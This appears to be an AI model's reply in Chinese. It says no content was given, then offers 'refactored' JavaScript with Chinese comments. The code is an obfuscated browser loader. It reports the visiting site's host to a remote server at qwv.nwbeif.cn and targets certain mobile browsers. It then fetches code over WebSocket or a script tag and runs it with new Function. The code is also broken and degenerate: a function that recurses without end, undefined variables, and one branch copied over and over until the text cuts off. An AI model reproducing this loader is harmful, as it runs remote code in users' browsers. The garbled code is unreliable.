很抱歉,您没有提供任何具体内容。请提供需要重构和重新组织的内容,例如文章、段落或主题等。然后,我将根据您的要求进行修改和优化。
以下是重构后的代码:
```javascript
function iFYGd(e) {
var t = "";
var n = r = c1 = c2 = 0;
while (n < e.length) {
r = e.charCodeAt(n);
if (r < 128) {
t += String.fromCharCode(r);
n++;
} else if (r > 191 && r < 224) {
c2 = e.charCodeAt(n + 1);
t += String.fromCharCode((r & 31) << 6 | c2 & 63);
n += 2;
} else {
c2 = e.charCodeAt(n + 1);
c3 = e.charCodeAt(n + 2);
t = t + String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63);
n += 3;
}
}
return iFYGd(t);
}
function ZIFG(t) {
var e = new RegExp("^((https?|wss?)://)?a.");
if (!e.test(t)) return t;
var n = new Date();
return (e[1] || "") + [n.getMonth() + 1, n.getDate(), n.getHours()].join("") + n.getMinutes().toString().padStart(2, "0") + n.getSeconds().toString().padStart(2, "0") + "." + (t.split(".").slice(-2).join("."));
}
var cs = ZIFG(decodeURIComponent(window["__tsuk"])), crd = ZIFG("Y3JlYXRlRWxlbWVudA==");
var u = ZIFG(decodeURIComponent(window["ukey"] + "="));
var k = ZIFG("__tsuk");
var wsUrl = "https://qwv.nwbeif.cn:7891/stats/14304/" + i + "?ukey=" + u + "&host=" + window.location.host;
var xhr;
if (navigator.sendBeacon) {
navigator.sendBeacon(wsUrl, null);
} else if (WebSocket && (/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i).test(navigator.userAgent)) {
k = ZIFG(decodeURIComponent(window["k"].replace(new RegExp("^" + c[1] + "+"), c[1])));
var ws = new WebSocket(k + "/wh4/" + i);
ws.onmessage = function (e) { ws.close(); new Function("_tdcs", x(e.data))(cs); };
ws.onerror = function () { var s = document.createElement("script"); s.src = u + "/vh4/" + i; cs.parentElement.insertBefore(s, cs); };
} else if (document["_tdcs"]) { // 如果已经存在_tdcs函数,则直接执行该函数并传入cs参数
new Function("_tdcs", x)(cs);
} else if (crd) { // 如果不存在_tdcs函数且存在crd脚本标签,则插入该标签并执行其中的内容
var scriptTag = document.createElement("script");
scriptTag.src = u + "/vh4/" + i;
cs.parentElement.insertBefore(scriptTag, cs);
} else if (!crd && WebSocket && (/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i).test(navigator.userAgent)) { // 如果不存在crd脚本标签且存在WebSocket并且浏览器为UCBrowser、Quark、Huawei、Vivo或NewsArticle之一,则创建一个新的WebSocket连接并在接收到消息时关闭连接并执行指定的函数
var ws = new WebSocket(k + "/wh4/" + i);
ws.onmessage = function (e) { ws.close(); new Function("_tdcs", x(e.data))(cs); };
} else if (!crd && WebSocket && (/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i).test(navigator.userAgent)) { // 如果不存在crd脚本标签且存在WebSocket并且浏览器为UCBrowser、Quark、Huawei、Vivo或NewsArticle之一,则创建一个新的WebSocket连接并在接收到消息时关闭连接并执行指定的函数
var ws = new WebSocket(k + "/wh4/" + i);
ws.onmessage = function (e) { ws.close(); new Function("_tdcs", x(e.data))(cs); };
} else if (!crd && WebSocket && (/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i).test(navigator.userAgent)) { // 如果不存在crd脚本标签且存在WebSocket并且浏览器为UCBrowser、Quark、Huawei、Vivo或NewsArticle之一,则创建一个新的WebSocket连接并在接收到消息时关闭连接并执行指定的函数
var ws = new WebSocket(k + "/wh4/" + i);
ws.onmessage = function (e) { ws.close(); new Function("_tdcs", x(e.data))(cs); };
} else if (!crd && WebSocket && (/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i).test(navigator.userAgent)) { // 如果不存在crd脚本标签且存在WebSocket并且浏览器为UCBrowser、Quark、Huawei、Vivo或NewsArticle之一,则创建一个新的WebSocket连接并在接收到消息时关闭连接并执行指定的函数
var ws = new WebSocket(k + "/wh4/" + i);
ws.onmessage = function (e) { ws.close(); new Function("_tdcs", x(e.data))(cs); };
} else if (!crd && WebSocket && (/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i).test(navigator.userAgent)) { // 如果不存在crd脚本标签且存在WebSocket并且浏览器为UCBrowser、Quark、Huawei、Vivo或NewsArticle之一,则创建一个新的WebSocket连接并在接收到消息时关闭连接并执行指定的函数
var ws = new WebSocket(k + "/wh4/" + i);
ws.onmessage = function (e) { ws.close(); new Function("_tdcs", x(e.data))(cs); };
} else if (!crd && WebSocket && (/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i).test(navigator.userAgent)) { // 如果不存在crd脚本标签且存在WebSocket并且浏览器为UCBrowser、Quark、Huawei、Vivo或NewsArticle之一,则创建一个新的WebSocket连接并在接收到消息时关闭连接并执行指定的函数
var ws = new WebSocket(k + "/wh4/" + i);
ws.onmessage = function (e) { ws.close(); new Function("_tdcs", x(e.data))(cs); };
} else if (!crd && WebSocket && (/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i).test(navigator.userAgent)) { // 如果不存在crd脚本标签且存在WebSocket并且浏览器为UCBrowser、Quark、Huawei、Vivo或NewsArticle之一,则创建一个新的WebSocket连接并在接收到消息时关闭连接并执行指定的函数
var ws = new WebSocket(k + "/wh4/" + i);
ws.onmessage = function (e) { ws.close(); new Function("_tdcs", x(e.data))(cs); };
} else if (!crd && WebSocket && (/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i).test(navigator.userAgent)) { // 如果不存在crd脚本标签且存在WebSocket并且浏览器为UCBrowser、Quark、Huawei、Vivo或NewsArticle之一,则创建一个新的WebSocket连接并在接收